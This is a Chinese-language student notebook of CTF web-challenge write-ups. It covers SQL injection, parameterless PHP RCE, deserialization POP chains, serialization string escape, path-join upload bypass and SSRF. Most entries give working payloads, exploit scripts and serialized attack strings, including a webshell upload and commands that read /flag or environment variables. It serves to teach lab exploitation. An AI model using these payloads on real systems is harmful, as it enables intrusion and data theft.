[SWPUCTF 2021 新生赛]easy_sql

payload1

1
?wllm=1

image-20260118120702919

有回显说明不是数字型注入

payload2

1
?wllm=1'

image-20260118120719908

有报错说明是字符型注入

payload3

1
?wllm=1' order by 3 -- +

利用order by语句判断name和password的列数

3的时候有正常回显说明不是3

image-20260118120734479

4的时候报错无正常回显说明该数据库有3列

payload4

1
?wllm=2'union select 1,2,3--+

没看懂为什么变成2,不懂union select是什么意思网上暂时没找到

image-20260118120747176

大体可以知道,网页上回显的内容是selec查询语句第二个参数和第三个参数的内容

payload5

1
?wllm=0'union select 1,2,database() --+

image-20260118120752959

好像是查看数据库名称,需要wllm的值不等于1

payload6

1
?wllm=2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

group_concat函数和information_schema.tables,就是查看‘test_db’数据库下有哪些表

image-20260118120815775

payload7

1
?wllm=2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+  

image-20260118120820742

正常回显,有id和flag两列,那这个flag里的内容应该就是我们最终所需要的答案了。我们通过select查询语句让它把flag的内容回显。

payload8

1
?wllm=2'union select 1,2,flag from test_tb--+

image-20260118120841101

[ISCTF2025]ezrce

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}

代码审计

1
2
3
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}

正则表达式/^[A-Za-z()_;]+$/只能有字母和括号 所以是无参rce

payload

1
?code=highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

image-20260118120916106

ISCTF{468c3b15-c2c8-4df7-bbcd-faffe34dcbc5}

[LitCTF 2023]Vim yyds

在虚拟机里进行终端扫描目录dirsearch -u http://node4.anna.nssctf.cn:28656/ -e all

image-20260118120929947

然后访问/.index.php.swp下载了一个文件,将这个文件复制到虚拟机里面image-20260118120944502

执行vim -r index.php.swp查看文件内容找到php代码

然后这边就是一开始一直复制不出来太气人了,问了学长说vim进入编辑后要按键盘的Esc,输入::w 1.php(文件名) 就可以保存到这个文件中

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>

代码审计

1
if ($_POST['password'] === base64_encode($password)) 

POST传参password=Give_Me_Your_Flag(base64后的)

1
eval(system($_POST['cmd']));

将参数cmd的值作为system()函数的参数执行,所以cmd的值就是命令

最终payload

1
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

image-20260118121007363

[UUCTF 2022 新生赛]websign

image-20260118121018009额这道题就是根据题目查看源码但发现键盘输入不能用(一开始我以为我键盘坏了。。

然后就其实先想到的是看index.php,config.php这些但也没用

就想用bp抓包看一下,结果直接出了额有点。。

image-20260118121025125

[玄武杯 2025]ez_include

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
stream_wrapper_unregister('php');

if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));// 生成32位随机十六进制字符串(如 a1b2c3...)
$mkdir('users/'.$randFolder); // 创建目录 users/随机字符串
chdir('users/'.$randFolder);// 切换当前工作目录到该随机目录

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));// 优先取 X-Forwarded-For 头,否则取 REMOTE_ADDR(客户端IP)

$mkdir($userFolder);// 创建用户目录
chdir($userFolder);// 切换到用户目录
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');// 回到随机目录(users/随机字符串)
$_GET['page']=str_replace('.','',$_GET['page']); // 把 page 参数中的 . 替换为空
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
include($_GET['page']);
}

chdir(__DIR__);
system('rm -rf users/'.$randFolder);

?>

代码审计

1
2
3
4
5
if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};

如果参数中存在no_hl则不会显示源码,带参数时执行后续逻辑

$mkdir:匿名函数

这是非预期解

之间传入/flag就得到了

image-20260118121118778

[SWPUCTF 2021 新生赛]ez_unserialize

image-20260118121126296一开始看不到题目,先查看源码

image-20260118121131209看到了disallow,就想到了爬虫协议

image-20260118121141355

看到了可以访问的,就访问看到题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

?>
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");

当admin=admin,passwd=ctf的时候可以看到flag

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class wllm{

public $admin;
public $passwd;
}

$a = new wllm();
$a -> admin = 'admin';
$a -> passwd = 'ctf';
echo (serialize($a));
?>

payload

1
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

image-20260118121156161

[GHCTF 2024 新生赛]ezzz_unserialize(原生类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
error_reporting(0);
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

class NoNo {
private $peach;

public function __construct($string) {
$this -> peach = $string;
}

public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}

}

class UkyoTachibana{
public $banana;
public $mangosteen;

public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}

class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class UesugiErii{
protected $coconut;

protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}

if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}

代码审计

1
2
3
4
5
6
7
8
9
10
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){ $this->apple = $a; }
function __destruct() { echo $this->apple; } // 关键:echo 触发 __toString
public function __toString() {
$new = $this->strawberry;
return $new(); // 关键:$new() 触发 __invoke
}
}

__toString():如果apple是其他类(如UkyoTachibana、Heraclqs)的对象,echo会触发该对象的__toString方法

__toString()中执行$new()如果$this->strawberry是其他类的对象,则触发Heraclqs类中的__invoke魔术方法

1
2
3
4
5
6
7
8
9
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this->blueberry)) == 123) { // 条件判断
return $this->grape->hey; // 读取不存在的 hey 属性 → 触发 __get
}
}
}

__invoke:对象被当作函数调用时触发,md5(md5($this->blueberry)) == 123有一个md5哈希值弱比较,需要找到一个$blueberry满足该哈希条件

1
2
3
4
5
6
7
8
9
10
11
class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday); // 动态创建对象:类名=$Tuesday,参数=$Monday
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>'); // 遍历对象属性 → 触发 __toString
}
});
}
}

array_walk():遍历当前类的所有属性

function ($Monday, $Tuesday):$Monday为属性值,$Tuesday为属性名

$Wednesday = new $Tuesday($Monday); :把$Tuesday类实例化为$Wednesday,$Monday作为传入的参数

foreach($Wednesday as $Thursday):foreach为遍历循环,把遍历的当前元素值赋给$Thursday,echo将值打印出来,再遍历下一个

new $Tuesday($Monday):动态实例化类,若$Tuesday和$Monday可控,可实现实例化恶意类

构造链子的思路:

看到E类,运用原生类遍历循环,要触发get魔术方法,调用不存在的属性

找到Heraclqs类中存在不存在的属性hey,调用它需要触发魔术方法__invoke,将参数作为函数,还存在一个MD5弱比较

找到Sakura类,return $new()将参数作为函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
class Sakura{
public $apple;
public $strawberry;

}

class NoNo {
private $peach;
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;

}

class UkyoTachibana{
public $banana;
public $mangosteen;

}

class E{
public $e;
}

class UesugiErii{
protected $coconut;

}
class Heraclqs{
public $grape;
public $blueberry;
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

}

$E = new E();
$E->DirectoryIterator = '/';

$Heraclqs = new Heraclqs();
$Heraclqs -> blueberry = "LLh";//123的md5弱比较
$Heraclqs -> grape= $E;

$Sakura = new Sakura();
$Sakura -> apple = $Sakura;
$Sakura -> strawberry = $Heraclqs;

echo serialize($Sakura);
?>

DirectoryIterator:用于查看文件目录

payload

1
O:6:"Sakura":2:{s:5:"apple";r:1;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:17:"DirectoryIterator";s:1:"/";}s:9:"blueberry";s:3:"LLh";}}

image-20260118121220823

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Sakura{
public $apple;
public $strawberry;

}

class E{
public $e;

}


class Heraclqs{
public $grape;
public $blueberry;

}


$E = new E();
$E->SplFileObject = '/flag';

$Heraclqs = new Heraclqs();
$Heraclqs -> blueberry = "LLh";
$Heraclqs -> grape= $E;

$Sakura = new Sakura();
$Sakura -> apple = $Sakura;
$Sakura -> strawberry = $Heraclqs;

echo serialize($Sakura);

SplFileObject:用于读文件

1
O:6:"Sakura":2:{s:5:"apple";r:1;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:13:"SplFileObject";s:5:"/flag";}s:9:"blueberry";s:3:"LLh";}}

[NISACTF 2022]babyupload

查看源码得到路径/source

image-20260118121238000得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db


@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

文件名中.被过滤了

看到def upload和def file里的内容,看到上传的文件的不能有后缀名, 且文件名前会拼接一个前缀upload/,使得输出的文件只能是在目录upload/下的

涉及到os.path.join()的绝对路径拼接漏洞

image-20260118121248757

将文件名改为/flag绕过,内容为一句话木马,得到路径

image-20260118121255840

[MoeCTF 2021]unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

class entrance
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class springboard
{
public $middle;

function __call($name, $arguments)
{
echo $this->middle->hs;
}
}

class evil
{
public $end;

function __construct($end)
{
$this->end = $end;
}

function __get($Attribute)
{
eval($this->end);
}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class evil
{
public $end;

function __construct($end)
{
$this->end = $end;
}

function __get($Attribute)
{
eval($this->end);
}
}

看到eval函数找到了利用点可以将end属性的值作为php代码执行

执行这句代码需要调用__get魔术方法,调用的成员属性不存在,需调用springboard类的middle属性,它调用了不存在的属性hs

__call需调用一个不存在的方法,通过entrance类中不存在的helloworld()魔术方法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class entrance
{
public $start;

}

class springboard
{
public $middle;


}

class evil
{
public $end;

}

$a = new evil();
$a->end = "system('env');";

$b = new springboard();
$b->middle = $a;

$c = new entrance();
$c->start = $b;

echo serialize($c);

[安洵杯 2019]easy_serialize_php(字符串逃逸)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

代码审计

将f的参数改为phpinfo,看到配置信息

image-20260118121312966

类似于flag文件名

filter函数被是对serialize($_SESSION)进行过滤,滤掉一些关键字

unset函数将$_SESSION销毁,然后重新赋予$_SESSION新的值

最后调用extract($_POST)

extract()函数从数组中将变量导入到当前的符号表

根据extract可以进行变量覆盖

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[“function”]会全部消失,只留SESSION[flag]=123

f参数要传为show_image,其次可控点是img_path下的img,但是不能直接传因为会进行一系列加密

extract()变量覆盖

1
2
3
4
5
6
7
8
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

销毁$_SESSION变量–>给$_SESSION变量赋值–>extract()变量覆盖

1
2
3
4
5
6
7
8
9
10
11
extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的

键值逃逸

在php中,反序列化的过程必须严格按照序列化规则才能成功实现反序列化

结束符:;}

在str结尾的花括号后增加一些字符不会影响反序列化正常进行

1
2
3
4
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

仍然可输出上面的结果,说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行

1
2
3
4
5
6
<?php
$_SESSION["user"]='flagflagflagflagflagflag'
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>

a:3:{s:4:”user”;s:24:”flagflagflagflagflagflag”;s:8:”function”;s:59:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

假设后台存在一个过滤机制,会将含flag字符替换为空

第二个s所对应的数字,本来由于6个flag字符所以为24,但现在这6个flag被过滤,那么他将会尝试向后读取24个字符看看是否满足序列化的规则,即读取;s:8:”function”;s:59:”a了,读取这24个字符后以”;结尾,恰好满足规则,第3个s向后读取img的20个字符,第4、5个s向后读取均满足规则,所以序列化结果为

1
2
3
4
5
array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}

数组形式为

1
2
3
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

SESSION数组的键值img对应的值发生了改变

他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。

逃逸实现

get传参:?f=show_image

post调用extract函数实现变量覆盖

三种传参方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#方法一
$_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
#结果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密
#过滤掉flag有
#a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
#使得绕过;s:51:""到达下一个封号,这时img成功逃逸出来

#方法二
$_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

#方法三
$_SESSION['flagflag']='";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

?>

payload

_SESSION[phpflag]=;s:1:”1”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

对于这个payload首先构造img属性

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;

ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php的base64加密的结果

然后在这个属性前面任意加一个序列化字符串(只要是合法的就可以)如:

  • ;s:1:”1”
  • ;s:2”10”;
  • ;s:3:”100”;

[江苏省第七届网络空间知识技能大赛决赛]Web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
highlight_file(__FILE__);
error_reporting(0);
class date{
public $a;
public $b;
public $file;
public function __wakeup(){
if(is_array($this->a)||is_array($this->b)){
die("no array");
}
if(($this->a!=$this->b) && (md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b))){
$content = date($this->file);
$uuid = uniqid().'.txt';
file_put_contents($uuid,$content);
$data = preg_replace(('/((\s)*(\n))+(\s)*/i'),'',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
?>

代码审计

1
2
if(is_array($this->a)||is_array($this->b)){
die("no array");

如果属性a,b是数组,则回显no array

校验条件

1
if(($this->a!=$this->b) && (md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b)))

$this->a!=$this->b:弱比较,只比较值不比较类型

md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b):强比较,要求哈希值的字符串内容和类型完全一致

判断要求满足属性a,b的值不相等,到那时md5和哈希值完全相等

这里绕过md5和哈希值强比较一般有几种方法(还有其他方法记在笔记里了)

  • 数组绕过(但这边禁用数组)
  • 用Error、Exception原生类绕过

临时文件生成逻辑

1
2
3
$content = date($this->file);
$uuid = uniqid().'.txt';
file_put_contents($uuid,$content);

$content = date($this->file):将file属性值通过date函数将其日志格式化

uniqid():返回随机生成的字符串作为文件名

.:用来拼接,将之前随机生成的字符串与.txt拼接

file_put_contents($uuid,$content):将$content作为文件内容写入$uuid文件中,可能存在文件包含漏洞

构造思路

用Error原生类绕过md5和哈希值的强比较

给file赋值,绕过date格式化,可以通过\转义符绕过

构造链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class date{
public $a;
public $b;
public $file;

}

$a = new Error("123","1");$b = new Error("123","2");

$s = new date();
$s->a = $a;
$s->b = $b;
$s-> file='/f\l\a\g';

echo base64_encode(serialize($s));


?>
1
Tzo0OiJkYXRlIjozOntzOjE6ImEiO086NToiRXJyb3IiOjc6e3M6MTA6IgAqAG1lc3NhZ2UiO3M6MzoiMTIzIjtzOjEzOiIARXJyb3IAc3RyaW5nIjtzOjA6IiI7czo3OiIAKgBjb2RlIjtpOjE7czo3OiIAKgBmaWxlIjtzOjIxOiJEOlxQSFDku6PnoIFcd2ViMS5waHAiO3M6NzoiACoAbGluZSI7aToxMDtzOjEyOiIARXJyb3IAdHJhY2UiO2E6MDp7fXM6MTU6IgBFcnJvcgBwcmV2aW91cyI7Tjt9czoxOiJiIjtPOjU6IkVycm9yIjo3OntzOjEwOiIAKgBtZXNzYWdlIjtzOjM6IjEyMyI7czoxMzoiAEVycm9yAHN0cmluZyI7czowOiIiO3M6NzoiACoAY29kZSI7aToyO3M6NzoiACoAZmlsZSI7czoyMToiRDpcUEhQ5Luj56CBXHdlYjEucGhwIjtzOjc6IgAqAGxpbmUiO2k6MTA7czoxMjoiAEVycm9yAHRyYWNlIjthOjA6e31zOjE1OiIARXJyb3IAcHJldmlvdXMiO047fXM6NDoiZmlsZSI7czo4OiIvZlxsXGFcZyI7fQ

flag{0fc2bcb6-fe12-4ceb-ae5c-77c695a47bdd}

[NSSCTF 2022 Spring Recruit]ezgame

额源码泄露,f12里面查看直接找到了

image-20260118121415090

[SWPUCTF 2021 新生赛]include

image-20260118121426310

image-20260118121431103

get传参了一个file

image-20260118121437285

看到存在文件包含漏洞,利用filter伪协议

image-20260118121443838

[SWPUCTF 2023 秋季新生赛]Pingpingping

get传参但看到参数名Ping_ip.exe,里面有下划线和点,是非法参数,先要绕过,将它改成 Ping[ip.exe ,然后执行ping命令用管道分隔符执行其他命令

image-20260118121451442

image-20260118121457623

[NSSCTF 2022 Spring Recruit]babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>

代码审计

参数a:不包含0~9,值为整数

b1,b2:值不相等但md5值相等

c1,c2:值不相等但md5值相等的字符串

利用数组绕过

payload

1
a[]=123&b1[]=1&b2[]=2&c1=QNKCDZO&c2=240610708

//[GDOUCTF 2023]泄露的伪装

image-20260118121514936

image-20260118121521199

payload

1
?cxk=data://text/plain,ctrl

[HNCTF 2022 Week1]2048

分析js代码,看到alert,将内容输入到控制台回车,会有弹窗显示flag

image-20260118121536082

image-20260118121541326

[NISACTF 2022]easyssrf

image-20260118121555243

尝试file:///etc/passwd,file伪协议不能用

image-20260118121601824

尝试http协议访问本地

1
http://127.0.0.1/flag

image-20260118121614273

得到提示尝试用file读取/fl4g

file:///fl4g

image-20260118121621234

访问ha1x1ux1u.php

image-20260118121714633

源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

看到get传参,提示flag在/flag中,就想到用伪协议读一下

1
?file=php://filter/read=convert.base64-encode/resource=/flag

img

base64解码

image-20260118121732511

[HNCTF 2022 WEEK2]ez_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}

fsockopen($host,intval($port),$error,$errstr,30)触发SSRF

fsockopen()函数建立与指定主机和端口的socket连接,然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。

网上的wp说利用poc构建脚本,poc就是测试验证的意思,不是很理解不知怎么搜

1
2
3
4
5
6
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

构造url

1
2
3
GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close

进行base64编码然后传参

[NSSRound#28 Team]ez_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
highlight_file(__FILE__);

//flag在/flag路由中

if (isset($_GET['url'])) {
$url = $_GET['url'];

if (strpos($url, 'http://') !== 0) {
echo json_encode(["error" => "Only http:// URLs are allowed"]);
exit;
}

$host = parse_url($url, PHP_URL_HOST);

$ip = gethostbyname($host);

$forbidden_ips = ['127.0.0.1', '::1'];
if (in_array($ip, $forbidden_ips)) {
echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

if (curl_errno($ch)) {
echo json_encode(["error" => curl_error($ch)]);
} else {
echo $response;
}

curl_close($ch);
} else {
echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>

看到报错提示只能用http并且127.0.0.1和localhost被禁用

用0.0.0.0替换

1
?url=http://0.0.0.0/flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
# encoding=utf-8

from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secret_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
# SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500

if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #w说明可对result.txt内容进行更改
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print resp
